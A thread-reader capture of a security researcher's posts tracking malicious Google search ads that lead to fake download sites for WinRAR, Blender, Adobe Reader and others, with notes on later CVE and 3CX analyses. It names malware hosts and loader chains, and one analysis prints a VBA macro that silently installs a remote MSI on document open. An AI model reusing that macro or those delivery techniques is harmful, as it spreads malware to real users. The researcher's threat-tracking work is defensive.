Will Dormann is on Mastodon Profile picture
Jan 15, 2023 48 tweets 39 min read Read on X
This is probably crazy, but hear me out...
What if, before Google pushes a paid advertisement link at customers, they checked with the Google-owned VirusTotal site to confirm that the site isn't distributing known malware?
You know, to at least pretend that they care...
🤔
Note that this OBS thing isn't an anomaly.
Go ahead and search for about anything that you can download.
The first hits are malware links that Google gets paid money to promote.
Just business as usual...
virustotal.com/gui/file/1e0a8…
virustotal.com/gui/file/d4984…
virustotal.com/gui/file/8fe23… Google search for "ruf...VT results for https://www....VT hits for https://www.vir...VT results for https://www....
How about Notepad++?
As it turns out, there is a non-malware sponsored hit.
Why? Notepad++ paid for the shakedown.
"Sure would be a shame if somebody was looking for your software and got malware instead, wouldn't it?" Google search for "not...VT results for https://www....VT results for https://www....Sopranos screenshot
Would checking VirusTotal work for preventing ads with malware?
Of course not! Don't be silly.
If you search for WinRAR, Google will suggest that you click on 2 links to download malware. But with 0 hits on VT.
How do I know it's malware? The MSI has super sketchy PowerShell. 😬 Google search for Winrar, w...VirusTotal has 0 hits on th...But running the MSI makes w...The end of the decoded Powe...
While this MSI has 0 VT hits virustotal.com/gui/file/54150…
it *does* trigger several Sigma rules.
The PowerShell payload is not embedded in the MSI, but is downloaded from: huggingface[.]co/Absurd/Xernya/raw/main/winrar
Raw here: controlc.com/ee999175
Decoded: controlc.com/34d11926 Crowdsourced Sigma Rules CR...# Your code goes here. slee...
By looking at the @huggingface
open directory, we can see that this actor is likely currently paying Google for their help in distributing malware via searches for:
VLC CryptoTab Filezilla KMPlayer Lightshot Notepad++ Rufus utorrent Winrar and 7-zip
huggingface.co/Absurd/Xernya/… Absurd's picture Absurd Cre...
On the upside:
- Google seems to have taken down the malicious ads that we've all noticed.
- VirusTotal detection is up to THREE for the malicious WinRAR MSI that I downloaded.
So yeah, for those of you who rely on AV to protect you from all things bad...
virustotal.com/gui/file/54150… Image
And while they're not linking to downloads of malware, the ads that are being served up even today sure have a sketchy feel to them.
"VirtualBox is a enormous application which will help you."
beijingrestaurantroanoke?
jasonbarrmusic?
No funny business going on here for sure. 🤔 Google search for virtualbo...
Scratch that. The Google ads for VirtualBox are indeed linking to malware-distributing sites.
For some reason when I checked this morning the page was serving some oddly unrelated site.
But yeah, it's definitely bad stuff STILL being promoted by Google.🤦‍♂️
virustotal.com/gui/file/1152e… Lookalike VirtualBox downlo...VirusTotal results for http...
What's detected is not the EXE itself, but rather that it has a file that extracts to be very large.
Running the obfuscated .NET EXE makes a request to hxxp://79[.]137[.]197[.]29/rfbqtotg/Dpcejhz.bmp
(for me at least)
Which b64 decodes to a blob with a bunch of reversed strings. Extracted EXE is about 700M...Subset of strings in the re...
Which, duh, is a .NET PE file that is simply reversed.
Reversing the order of the bytes in this file results in an EXE that is detected by 15 AV engines on VT:
virustotal.com/gui/file/3709b… VT Results for https://www....
Google: "We reviewed the ads in question and have removed them"
The real world, several days later:
Google for KMPlayer and you get an Ad for a malware-serving lookalike site (oddly for VLC).
If you're on x86/x86_64 Windows, you'll get this malware: virustotal.com/gui/file/26a07… Google search for kmplayer ...videoplaer.com websiteVirusTotal results for http...
This malware is different than the others I've seen in this (recent?) Google malvertising flurry.
This has an invalid signature from IP Izmaylov Artem Andreevich, and connects to 79[.]137[.]133[.]225:8081 for further instructions presumably. //  // This function appear...
Google: "We have robust policies prohibiting ads that attempt to circumvent our enforcement by disguising the advertiser’s identity and impersonating other brands, and we enforce them vigorously."
The real world: This is completely out of control and we can't do anything about it Google search for: Blender ...https://blender3dorg.fras68...https://blender3d-software....Virustotal results for http...
How about LibreOffice?
Surely I can trust Google Ads for that search, right?
Clearly you haven't been paying attention.
Until Google can prove to the world that their ads can be trusted, you better believe that ALL ads from them point to malware distribution websites. Google search for: LibreOff...Fake LibreOffice download s...VirusTotal results for http...
How about G*MP?
No, I won't say the name here as the last time I did that I got banned from this hellsite. But you know what app I'm talking about.
Yes. Malware.
If you get an ad from Google, it's going to be a link to malware.
And apparently this is just business as usual. Google search for : gimp Go...gimvp.org website. Looks li...VirusTotal results for http...
I mean, hell, even searching Google for "python" brings you to malware.
Please, Google. Convince me that you're doing something about this. Anything at all. Google search for: Python A...Malware download site that ...VirusTotal results for http...Baghdad Bob
Google: "We have robust policies prohibiting ads..."
Translation: "We have rules written down somewhere that state 'thou shall not' under penalty of (??)"

Google: "... and we enforce them vigorously"
Translation: "We might get around to manually taking down violators eventually. Google search for: blender ...VT results for https://www....VT hits for https://www.vir...
I'm continuing this thread to have a record of what Google ads link to what malware and when.
And also to periodically check if they've done anything about it.
Mute the thread if you already grok Google's business model of profiting from malware distribution. Google search for: anydeskVT results for https://www....Fake AnyDesk download page
If you're a poor sap that used Google to search for Blender, you'll probably have to scroll to get past the malware ads.
Four out of the FOUR Ads for blender link to malware.
That's 100%. A+! Google search for blender 3...Great Job!
How about @AMD or @nvidia?
Even though NVIDIA pays Google Ad money, Google encourages visitors to go to malware-distributing site instead of the real company, listing the malware ad first. Presumably for reasons.
Neat. Google search for: nvidia T...Google search for radeon Ma...VirusTotal results for http...
Some of the domain names aren't "obviously" malicious.
e.g. the schumanlawfirm[.]com site that you get as an ad for "winrar" 🤔
It seems like a normal site.
But when you view it with the google Referer header, plus the appropriate utm_term value, you get the fake download site. Google search for: winrarschumanlawfirm.com site red...Tapioca mitmproxy output of..."normal" schumanl...
You also get the same schumanlawfirm[.]com malware site when you search for 7-zip.
And it still serves up the WinRAR-branded malware.
"I don't click ads"
"I wouldn't fall for this"
"I use an ad blocker"
Congratulations?
Some people do fall victim to this. It's a numbers game. Google search for 7-zip Ad ...
We're over 1 week into when I personally first started pulling this thread, and the Google malware ads are still going strong. Presumably it's been happening well before I started looking into it. Google search for: blender ...VirusTotal results for http...Malware download site: blen...
Google employee 1: www[.]homeforcutepets[.]com has paid us money to advertise their link for any time somebody searches for "winrar"
This seems a bit... weird?
Google employee 2: What part of "has paid us money" don't you understand?
Google employee 1: Sorry. Let's promote it! Google search for: winrar w...
How about winrar (again)?
Google ad for www[.]rajaimpexindo[.]com
which redirects to rar-lab[.]top
which has download w/ a VT detection rate of 0
But retrieves PowerShell from softs-lab[.]ru/winrar.gpg
which installs GPG and decrypts bad stuff w/ password of "putingod" Google search for: winrar A...Fake WinRAR download site r...VT results for https://www....Powershell snippet that dec...
It would be useful to know all the targeted #GoogleAdMalware ad words. But TBH, I'm just picking some apps that I think are popular, and/or ones that @malwrhunterteam mentions.
Google might be doing *something* about it, but it's not enough to be noticeable.
The ads are bad. 🤦‍♂️ Google search for: visual s...VT results for: https://www...Fake Visual Studio Code dow...
And while the #GoogleAdMalware download for Visual Studio Code gets 10 detections on VirusTotal, the malicious fake WinRAR installer still gets ZERO detections, despite being first submitted two days ago.
Google is still promoting malware.
AV isn't detecting things.
Good luck? 🤷‍♂️ Google search for: 7-zipFake WinRAR download page: ...VT results for: https://www...
I've heard a rumor that Google is trying to do something about the #GoogleAdMalware problem.
However, as a member of the unwashed masses and I see THREE malicious Blender ads before the legitimate site ad is listed, I remain firmly in the "I'll believe it when I see it" camp. Google search for: blender ...
Are you one of those security weirdos who hovers links before clicking them to see where they go?
You are?? Neat.
You know that doing this proves nothing, right? Google search for: ThunderbirdMalicious download page. Ho...VT results for: https://www...Source with actual download...
This Thunderbird #GoogleAdMalware isn't alone in this technique.
The Docker one plays the exact same trick, with a similarly-named payload. So presumably the same threat actor.
Pretty much the only thing that VirusTotal detects is the trick of a file that extracts quite large. Malicious download site for...Google search for: docker  ...VT results for: https://www...
How about OpenOffice?
I bet there are people out there who would use Google to find where to download it from.
The #GoogleAdMalware link points to a domain that uses a lowercase L, which sort of looks OK?
Google gets paid; threat actor gets their malware deployed. Everybody wins? Google search for: openoffi...Malware download page: www....Virustotal hits for: https:...
To be fair, not ALL ads are of the #GoogleAdMalware type.
Sometimes you're lucky enough to only get a full page of questionable-value links. Like searching for Adobe Reader.
🤷‍♂️ Google search for: adobe re...
How about CPU-Z?
If you're not careful, you might end up with the 300MB malware version that Google wants you to install.
Not the real version, which is 2MB. Google search for: cpu-z Ad...VirusTotal results for http...
Somebody might use Google to search for where to download Adobe (Reader)
Hopefully they don't click on the #GoogleAdMalware links.
Is it ironic that one of the VirusTotal hits for the malware Google is advertising is... Google? Google search for: adobe do...Virustotal results for: htt...Fake Adobe Reader download ...
Adobe Reader not your thing?
That's fine. #GoogleAdMalware links for searches for your other PDF readers, like Foxit, are there for you.
Google, the whatever-the-heck-is-on-VirusTotal thing detects it as malware.
But Google, the website, is encouraging you to go to the site. 🤔 Google search for: foxit do...https://muabanphelieuninhbi...https://dibanksdesign-home....VirusTotal results for: htt...
How about Java?
I bet I could use Google to find out where to download it.
Oh, right. Just another #GoogleAdMalware link to a completely normal domain name that was registered a couple days ago.
VirusTotal comes up with 0 hits for the download, so I'm sure that's safe to run... Google search for: java dow...Fake Java download pageVirustotal results for: htt...
About this #GoogleAdMalware:
- Written in JavaFX
- Bundles its own JRE
- 0 detections on VT.
- Retrieves and runs chatgpt-go\.online/java.exe
- The *payload* is detected by 15 on VT
- Doesn't work if logged on as a non-admin.

I guess writing malware in Java is the way to go?? VirusTotal results for http...VirusTotal results for http...What happens when the malic...
Let's look at some Adobe #GoogleAdMalware
- 0 hits on VT
- Loader is PyArmor-encrypted, providing its own Python. Thanks nesrak1 Bone Density!
- This python downloads an encrypted binary (AES256 + pbkdf2 + password), and decrypts it with its own openssl.exe
- Final EXE: 49 on VT Google search for: adobe do...VirusTotal results for: htt...Windows Explorer view of : ...VirusTotal Results for: htt...
With both the JavaFX and the PyArmor #GoogleAdMalware, an observer of MITM'd Windows HTTPS traffic will simply see no web requests occur.
Neither Python nor Java use the Windows-level trusted Root CA list.
Presumably this is done to avoid sandbox detonations showing requests.🤔
Looking at the signing certificate of "Agilable Consulting Inc." (Issued by @sslcorp), we can #GoogleAdMalware that was signed over 2 months ago.
Samples signed by "Pinesville Ltd" (Issued by @Entrust_Corp) is a touch newer.
AV detection is abysmal. AV Detection for: https://w...AV detection for https://ww...
Both certificates are from presumably the same threat actor, given that the #GoogleAdMalware installer structure is virtually identical. 20 diff't installers retrieve an encrypted payload from one of #batloader C&Cs:
pixelarmada\.su
statisticpixels\.com
updateclientssoftware\.com
The #GoogleAdMalware fun seems to have slowed down. Not so much the percent of ads that lead to malware, but rather the number of searches that show ads at all.
If you do get an ad, it's still probably bad news.
MSI -> python -> PyArmor -> statisticpixels\.com -> openssl decode. Google search for: adobe do...Fake Malware-providing Adob...Virustotal results for: htt...
yummyrecipes\.site?
Sure, that sounds like official place to download Adobe Reader from!
But hey, at least by now we're up to
*checks notes*
TWO antivirus products that detect this #GoogleAdMalware installer as something you perhaps don't want. Google search for: adobe do...yummyrecipes.site fake Adob...Virustotal results for: htt...
User: Asks Google where they can get Adobe Reader.
Google: Might I interest you in fox1t\.rcishoes.com?
User: ...
I can't definitively say that this is #GoogleAdMalware, as the offered EXE download is currently 0kb in size. But yeah, pretty sure we all know what's going on here. Google search for: adobe do...Fake Foxit reader download ...
Some of these threat actors seem sort of sloppy.
- Convincing Google to push out #GoogleAdMalware?✅
- Being able to run a web server without producing 500 errors?❌ Google search for: adobe do...www.www-adolbe.site redirec...
I suppose what's non-trivial about running this web server is that these #GoogleAdMalware Adobe Reader installers seem to be digitally signed (by "Pinesville Ltd" in this case) on demand.
As such, no two installers will have the same file hash.
Detection on VirusTotal is 1/50 👍 Google search for: adobe do...Redirects to adobe-l.com/do...VirusTotal results for: htt...All 3 MSI installers are id...

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More from @wdormann

Aug 28, 2023
A note about what's going on here.
1) Word will render HTML (including MHT) content regardless of what comes before it. Plain text plays nicest.
2) When MHT content includes a <link rel=Edit-Time-Data> object that points to an undocumented ActiveMime blob, there's your Macro!
Note that the normal MotW-enabled Macro protections remain in place. (Macros on files from the internet aren't allowed these days)
The original MHT document has two obvious obfuscations.
1) The Edit-Time-Data link is URL encoded.
2) Its target is littered with extra spaces.
🤷‍♂️
Edit-Time-Data link from MHT content. %63%58%59%74%4C%76%6D%66%55%5F%66%69%6C%65%73%2F%69%6D%61%67%65%33%38%32%30%31%31%34%2E%6A%70%67 decodes to: cXYtLvmfU_files/image3820114.jpg
cXYtLvmfU_files/image3820114.jpg MIME section. Lots of extra spaces added.
While oletools oleid will detect presence of Macros in the MHT content, olevba seems to fall short of extracting it.
However, you can extract the undocumented ActiveMime blob with binwalk.
And from that extracted file, you can successfully extract the VBA code contained in it.


oleid 0723Request.pdf output VBA Macros: Yes
olevba 0723Request.pdf Not very useful output
oleid 32 (file extracted using binwalk) VBA Macros: Yes, suspicious
olevba binwalkoutput:  Private Sub Document_Open() On Error Resume Next Dim base As Object Set base = CreateObject("WindowsInstaller.Installer") base.UILevel = 2 rtg = "https://web365metrics.com/files/69fbd341bcf4f734fd47f72710021ae6839/MicrosoftOffiice.Hub.msi" base.InstallProduct rtg End Sub
Read 7 tweets
Jul 21, 2023
This complex CVE-2023-36884 exploit chain that some of us are looking at...
I can't tell if it's a decoy, or is nonsense written by ChatGPT, or triggers a new vulnerability but is otherwise broken, or has a an 0day exploit that is not reached, or is the real deal.
Thoughts? 🤔
I've not ruled out "Real", but for the life of me I can't get the exploit chain to work in its entirety.
Between what BlackBerry and Volexity describe, there are both parts missing, a bit of hand-waving, and some parts that simply seem broken.
BUT, let's look at the end parts...
1) By redirecting through individual HTML pages in a CHM, we can bypass the restriction on not running JavaScript. 🤔
2) By opening a .URL that targets a file inside of a ZIP via WebDav, we don't get any warnings (MotW doesn't matter). 🤔
Why doesn't the ITW exploit work for me? Flowchart of last stages of CVE-2023-36884
Read 24 tweets
Mar 30, 2023
Anybody poking at this 3CX thing, check out news.sophos.com/en-us/2023/03/…

Value-added ffmpeg.dll has code added to DllMain() that causes d3dcompiler_47.dll to be loaded, and decrypted payload is decoded from there.
Wide string "AVMonitorRefreshEvent" is *not* in legit ffmpeg.dll Process monitor call stack of d3dcompiler_47.dll being loadecall in DllMain to loadMaliciousLibrary is not in the normalin loadMaliciousLibrary() function:  v0 = 1;   EventW = Crea
Similarly, the malicious ffmpeg.dll will have the wide string "d3dcompiler_47.dll" in it, whereas the legit ffmpeg.dll does not.
Because, why should it? 😀 R:\wildcard\3cx>strings ffmpeg.dll | findstr /c:d3dcompiler_
The d3dcompiler_47.dll has a "valid" signature from Microsoft, but has added value by way of using CVE-2013-3900.
Despite being 10 years old, Microsoft has left the fix for this optional, so by default we live in a world where this file is completely legit.
But we know better...                          [Issuer]                           R:\wildcard\3cx\installed\3CXDesktopApp-407\app>AnalyzePESig
Read 5 tweets
Mar 29, 2023
Speaking of avoiding Outlook...
Has anybody else noticed trouble recently with M365's Oauth2 authentication for SMTP, with Thunderbird at least?
IMAP seems fine, FWIW.
Login to server smtp.office365.com with username <emailaddress> failed. Error message: Login to server smtp.office365.com with usern
This may be Thunderbird-specific, as Apple Mail seems to work fine. Apple mail screenshot of mail received via M365 SMTP
Huh, so M365 mail appears to have Authenticated SMTP disabled.
Thunderbird error console to the rescue, it points to aka.ms/smtp_auth_disa… for a fix.
This seems like a recent change by MS that it throwing off Thunderbird, but not Apple Mail. Default M365 options for mail. "Authenticated SMTP"Command failed: 535 Authentication unsuccessful, SmtpClientA
Read 5 tweets
Mar 15, 2023
Folks poking at CVE-2023-23397 ...
I can't seem to send any kind of calendar invite that's generated by MsgKit.
Microsoft Outlook reports:
Cannot send this meeting request.

You don't need an actual Exchange server to send such an invite do you?? Microsoft Outlook Cannot se...
And just to clarify, even just taking the simplest sort of calendar invite MSG from MsgKit and attempting to save it as anything else (.ics, .vcs) w/ Outlook results in the same sort of error message. No SMTP / Exchange transport involved.
/me clicks "No" and waits for a solution Cannot send this meeting re...Was this information helpfu...
My understanding at this point:
- MsgKit appointments don't seem to be sendable with Outlook.
- When talking to an Exchange box, Outlook will allow "rich" invites that can trigger CVE-2023-23397
- If I request the invite email via IMAP, Exchange interprets it into VCF, so no fun! Python Responder results af...
Read 12 tweets
Mar 7, 2023
The Microsoft update for CVE-2023-21716 was updated to suggest configuring Outlook to read mail in plain text as opposed to "Rich Text".
But despite calling it "Rich Text", Outlook doesn't use RTF for emails. It's TNEF.
Anyone know why this advice was added?
Spaghetti + Wall? Workarounds Use Microsoft O...
Ok, yeah, thx to @jduck TNEF does indeed include compressed RTF data in it.
Now about that "Use Microsoft Outlook to reduce the risk of users opening RTF Files" part... 🤔 Screenshot of RTF file extr...
Now, let's think about the consequences of choosing to "fix" a vulnerability in a way that the software still crashes, but presumably a bit more safely.
Our fully-patched (with Feb's updates) Outlook crashes on "previewing" an email received from the internet.
THIS_IS_FINE.PNG
Read 6 tweets

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